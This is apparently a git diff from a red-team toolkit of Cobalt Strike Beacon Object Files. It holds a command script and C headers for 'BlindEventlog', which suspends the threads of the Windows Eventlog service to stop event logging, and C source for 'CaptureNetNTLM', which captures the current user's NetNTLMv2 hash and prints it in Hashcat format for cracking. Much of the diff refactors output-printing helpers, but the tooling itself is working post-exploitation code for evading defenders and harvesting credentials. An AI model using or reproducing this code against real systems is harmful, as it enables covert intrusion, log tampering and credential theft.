+	}
+	
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
+	else  {
+		printoutput(TRUE);
+		//BeaconPrintf(CALLBACK_OUTPUT, "[+] Done");
+	}
+	
+	return 0;
+}

+ 32 - 32
KIT/BlindEventlog/blindeventlog.cna

@@ -1,32 +1,32 @@
-# author REDMED-X
-
-beacon_command_register(
-    "blindeventlog", "Blind Eventlog by suspending its threads.",
-    "INFO:\nBlind Eventlog by suspending its threads. This technique requires elevated privileges.\nBe aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.\n\nOPTIONS:\n[suspend]: find and suspend all Eventlog threads and disrupt its functionality\n[resume]: find and resume all Eventlog threads and restore its functionality\n\n" .
-    "USAGE:\nblindeventlog <suspend | resume>\n\n");
-
-
-alias blindeventlog {
-    $bid = $1;
-    $action = $2;
-
-    if ($action eq "suspend" || $action eq "resume") {
-    }
-    else {
-        berror($bid, "Please specify one of the following actions: suspend | resume\n");
-        return;
-    }
-	
-    # Read in the right BOF file
-    $handle = openf(script_resource("blindeventlog.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    # Pack our arguments
-    $arg_data  = bof_pack($bid, "z", $action);
-
-    blog($bid, "Tasked to interact with Eventlog..");
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "blindeventlog", "Blind Eventlog by suspending its threads.",
+    "INFO:\nBlind Eventlog by suspending its threads. This technique requires elevated privileges.\nBe aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.\n\nOPTIONS:\n[suspend]: find and suspend all Eventlog threads and disrupt its functionality\n[resume]: find and resume all Eventlog threads and restore its functionality\n\n" .
+    "USAGE:\nblindeventlog <suspend | resume>\n\n");
+
+
+alias blindeventlog {
+    $bid = $1;
+    $action = $2;
+
+    if ($action eq "suspend" || $action eq "resume") {
+    }
+    else {
+        berror($bid, "Please specify one of the following actions: suspend | resume\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("blindeventlog.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+    blog($bid, "Tasked to interact with Eventlog..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 75 - 83
KIT/BlindEventlog/blindeventlog.h

@@ -1,83 +1,75 @@
-#include <windows.h>  
-
-#define ENABLE 1
-#define DISABLE 0
-
-typedef enum _SC_SERVICE_TAG_QUERY_TYPE {
-	ServiceNameFromTagInformation = 1,
-	ServiceNameReferencingModuleInformation,
-	ServiceNameTagMappingInformation,
-} SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;
-
-typedef struct _SC_SERVICE_TAG_QUERY {
-	ULONG   processId;
-	ULONG   serviceTag;
-	ULONG   reserved;
-	PVOID   pBuffer;
-} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
-
-typedef struct _CLIENT_ID {
-	DWORD       uniqueProcess;
-	DWORD       uniqueThread;
-
-} CLIENT_ID, *PCLIENT_ID;
-
-typedef struct _THREAD_BASIC_INFORMATION {
-	NTSTATUS    exitStatus;
-	PVOID       pTebBaseAddress;
-	CLIENT_ID   clientId;
-	KAFFINITY   AffinityMask;
-	int			Priority;
-	int			BasePriority;
-	int			v;
-
-} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
-
-
-//SetPrivilege
-DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
-DECLSPEC_IMPORT BOOL WINAPI Advapi32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
-DECLSPEC_IMPORT BOOL WINAPI Advapi32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
-
-
-//Eventlog
-typedef ULONG (WINAPI * I_QueryTagInformation_t)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
-typedef NTSTATUS (WINAPI * NtQueryInformationThread_t)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
-DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess);
-DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);
-DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD th32ProcessID);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
-WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
-WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
-
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
+#include <windows.h>  
+
+#define ENABLE 1
+#define DISABLE 0
+
+typedef enum _SC_SERVICE_TAG_QUERY_TYPE {
+	ServiceNameFromTagInformation = 1,
+	ServiceNameReferencingModuleInformation,
+	ServiceNameTagMappingInformation,
+} SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;
+
+typedef struct _SC_SERVICE_TAG_QUERY {
+	ULONG   processId;
+	ULONG   serviceTag;
+	ULONG   reserved;
+	PVOID   pBuffer;
+} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
+
+typedef struct _CLIENT_ID {
+	DWORD       uniqueProcess;
+	DWORD       uniqueThread;
+
+} CLIENT_ID, *PCLIENT_ID;
+
+typedef struct _THREAD_BASIC_INFORMATION {
+	NTSTATUS    exitStatus;
+	PVOID       pTebBaseAddress;
+	CLIENT_ID   clientId;
+	KAFFINITY   AffinityMask;
+	int			Priority;
+	int			BasePriority;
+	int			v;
+
+} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
+
+
+//SetPrivilege
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
+
+
+//Eventlog
+typedef ULONG (WINAPI * I_QueryTagInformation_t)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
+typedef NTSTATUS (WINAPI * NtQueryInformationThread_t)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
+DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess);
+DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD th32ProcessID);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+

BIN
KIT/BlindEventlog/blindeventlog.o


+ 5 - 6
KIT/BlindEventlog/bofcompile.bat

@@ -1,6 +1,5 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc blindeventlog.c
-move /y blindeventlog.obj blindeventlog.o
-dumpbin /disasm blindeventlog.o > blindeventlog.disasm
-
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc blindeventlog.c
+move /y blindeventlog.obj blindeventlog.o
+

+ 1 - 1
KIT/CaptureNetNTLM/README.md

@@ -14,4 +14,4 @@ Capture the NetNTLMv2 hash of the current user. This is done by simulating a NTL
 
 
 ## Credits
-The code in this BOF is heaviliy based on the [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/tree/master) project from Lee Christensen. 
+The code in this BOF is heaviliy based on the [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/tree/master) project from Lee Christensen. 

+ 105 - 121
KIT/CaptureNetNTLM/capturenetntlm.c

@@ -10,6 +10,15 @@
 #pragma comment(lib,"Secur32")
 
 #define MSV1_0_CHALLENGE_LENGTH 8
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
 
 //
 //Most of the code originates from: https://github.com/leechristensen/GetNTLMChallenge/tree/master
@@ -175,94 +184,69 @@ typedef struct _KEY_BLOB {
 NTSTATUS WINAPI SystemFunction007(PUNICODE_STRING string, LPBYTE hash);
 
 
-//START beacon print function. Code originates from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
-//END beacon print function
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 void SetPredefinedChallenge(UCHAR challenge[MSV1_0_CHALLENGE_LENGTH]) {
@@ -272,9 +256,9 @@ void SetPredefinedChallenge(UCHAR challenge[MSV1_0_CHALLENGE_LENGTH]) {
 
 
 BOOL GetNTLMChallengeAndResponse() {
-	WCHAR szDomainName[256 + 1] = L"";
-	WCHAR szUserName[256 + 1] = L"";
-	wchar_t ntlmsp_name[] = L"NTLM";
+	CHAR szDomainName[256 + 1] = "";
+	CHAR szUserName[256 + 1] = "";
+	char ntlmsp_name[] = "NTLM";
 	UCHAR bServerChallenge[MSV1_0_CHALLENGE_LENGTH];
 	PNTLMv2_RESPONSE pNtChallengeResponse = NULL;
 	PNTLMv2_CLIENT_CHALLENGE pClientChallenge = NULL;
@@ -285,13 +269,11 @@ BOOL GetNTLMChallengeAndResponse() {
 	TimeStamp InboundLifetime;
 	TimeStamp OutboundLifetime;
 
-	DWORD status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hOutboundCred, &OutboundLifetime);
-
+	DWORD status = SECUR32$AcquireCredentialsHandleA(NULL, ntlmsp_name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hOutboundCred, &OutboundLifetime);
 	if (status != 0)
 		return FALSE;
 
-	status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hInboundCred, &InboundLifetime);
-
+	status = SECUR32$AcquireCredentialsHandleA(NULL, ntlmsp_name, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hInboundCred, &InboundLifetime);
 	if (status != 0)
 		return FALSE;
 
@@ -331,7 +313,7 @@ BOOL GetNTLMChallengeAndResponse() {
 	ULONG InboundContextAttributes = 0;
 
 	// Setup the client security context
-	status = SECUR32$InitializeSecurityContextW(&hOutboundCred, NULL, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, NULL, 0, &OutboundContextHandle, &OutboundNegotiateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
+	status = SECUR32$InitializeSecurityContextA(&hOutboundCred, NULL, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, NULL, 0, &OutboundContextHandle, &OutboundNegotiateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
 	if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
 
 	NEGOTIATE_MESSAGE* negotiate = (NEGOTIATE_MESSAGE*)OutboundNegotiateBuffDesc.pBuffers[0].pvBuffer;
@@ -348,19 +330,19 @@ BOOL GetNTLMChallengeAndResponse() {
 	// when local call, windows remove the ntlm response
 	challenge->NegotiateFlags &= ~NTLMSSP_NEGOTIATE_LOCAL_CALL;
 
-	status = SECUR32$InitializeSecurityContextW(&hOutboundCred, &OutboundContextHandle, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, &OutboundChallengeBuffDesc, 0, &OutboundContextHandle, &OutboundAuthenticateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
+	status = SECUR32$InitializeSecurityContextA(&hOutboundCred, &OutboundContextHandle, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, &OutboundChallengeBuffDesc, 0, &OutboundContextHandle, &OutboundAuthenticateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
 	if (status != 0) return FALSE;
 
 	AUTHENTICATE_MESSAGE* authenticate = (AUTHENTICATE_MESSAGE*)OutboundAuthenticateBuffDesc.pBuffers[0].pvBuffer;
 
 	// Get domain name
 	MSVCRT$memcpy(szDomainName, ((PBYTE)authenticate + authenticate->DomainName.Offset), authenticate->DomainName.Length);
-	szDomainName[authenticate->DomainName.Length / 2] = 0;
+    szDomainName[authenticate->DomainName.Length] = 0;
 
 	// Get username
-	MSVCRT$memcpy(szUserName, ((PBYTE)authenticate + authenticate->UserName.Offset), authenticate->UserName.Length);
-	szUserName[authenticate->UserName.Length / 2] = 0;
-
+    MSVCRT$memcpy(szUserName, ((PBYTE)authenticate + authenticate->UserName.Offset), authenticate->UserName.Length);
+    szUserName[authenticate->UserName.Length] = 0;
+	
 	// Get the Server challenge
 	MSVCRT$memcpy(bServerChallenge, challenge->Challenge, MSV1_0_CHALLENGE_LENGTH);
 
@@ -371,39 +353,41 @@ BOOL GetNTLMChallengeAndResponse() {
 	dwClientChallengeSize = authenticate->NtChallengeResponse.Length - 16;
 
 	// Print output in Hashcat Format: username:domain:ServerChallenge:response:blob
-	BeaconPrintToStreamW(L"[+] Successful NetNTLMv2 hash capture:\n");
-	BeaconPrintToStreamW(L"========================================\n\n");
-	BeaconPrintToStreamW(L"%s::%s:", szUserName, szDomainName);
-
-	// ServerChallenge
-	for (int i = 0; i < sizeof(bServerChallenge); i++) {
-		BeaconPrintToStreamW(L"%02x", bServerChallenge[i]);
-	}
-	BeaconPrintToStreamW(L":");
-
-	// response
-	for (int i = 0; i < sizeof(pNtChallengeResponse->Response); i++) {
-		BeaconPrintToStreamW(L"%02x", pNtChallengeResponse->Response[i]);
-	}
-	BeaconPrintToStreamW(L":");
-
-	// blob
-	for (DWORD i = 0; i < dwClientChallengeSize; i++) {
-		BeaconPrintToStreamW(L"%02x", *((PBYTE)(&(pNtChallengeResponse->Challenge)) + i));  // 16 
-	}
-	BeaconPrintToStreamW(L"\n");
+    internal_printf("[+] Successful NetNTLMv2 hash capture:\n");
+    internal_printf("========================================\n\n");
+    internal_printf("%ls::%ls:", szUserName, szDomainName);
+	
+	    // ServerChallenge
+    for (int i = 0; i < sizeof(bServerChallenge); i++) {
+        internal_printf("%02x", bServerChallenge[i]);
+    }
+    internal_printf(":");
 
+    // response
+    for (int i = 0; i < sizeof(pNtChallengeResponse->Response); i++) {
+        internal_printf("%02x", pNtChallengeResponse->Response[i]);
+    }
+    internal_printf(":");
+
+    // blob
+    for (DWORD i = 0; i < dwClientChallengeSize; i++) {
+        internal_printf("%02x", *((PBYTE)(&(pNtChallengeResponse->Challenge)) + i));  // 16 
+    }
+    internal_printf("\n");
+	
 	return TRUE;
 }
 
 
 int go() {
+	if(!bofstart()) return;
+	
 	BOOL result = GetNTLMChallengeAndResponse();
 	
 	if (result) {
-		BeaconOutputStreamW();
+		printoutput(TRUE);
     } else {
-        BeaconPrintf(CALLBACK_OUTPUT,"\n[-] Failed to capture NetNTLM hash.\n");
+        BeaconPrintf(CALLBACK_OUTPUT,"\nFailed to capture NetNTLM hash.\n");
     }
 	
 	return 0;

+ 10 - 15
KIT/CaptureNetNTLM/capturenetntlm.h

@@ -1,26 +1,21 @@
 #include <windows.h>  
 
 //GetNTLMChallengeAndResponse
-DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* _Dst, const void* _Src, size_t _Size);
-DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(SEC_WCHAR* pszPrincipal, SEC_WCHAR* pszPackage, ULONG fCredentialUse, PLUID pvLogonID, PVOID pAuthData, SEC_GET_KEY_FN pGetKeyFn, PVOID pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
-DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle phCredential, PCtxtHandle phContext, SEC_WCHAR* pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
+//DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* _Dst, const void* _Src, size_t _Size);
+//DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(SEC_WCHAR* pszPrincipal, SEC_WCHAR* pszPackage, ULONG fCredentialUse, PLUID pvLogonID, PVOID pAuthData, SEC_GET_KEY_FN pGetKeyFn, PVOID pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
+//DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle phCredential, PCtxtHandle phContext, SEC_WCHAR* pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
 DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcceptSecurityContext(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry);
 WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(LPCTSTR, LPCTSTR, ULONG, PLUID, PVOID, SEC_GET_KEY_FN, PVOID, PCredHandle, PTimeStamp);
+DECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR *, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp);
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
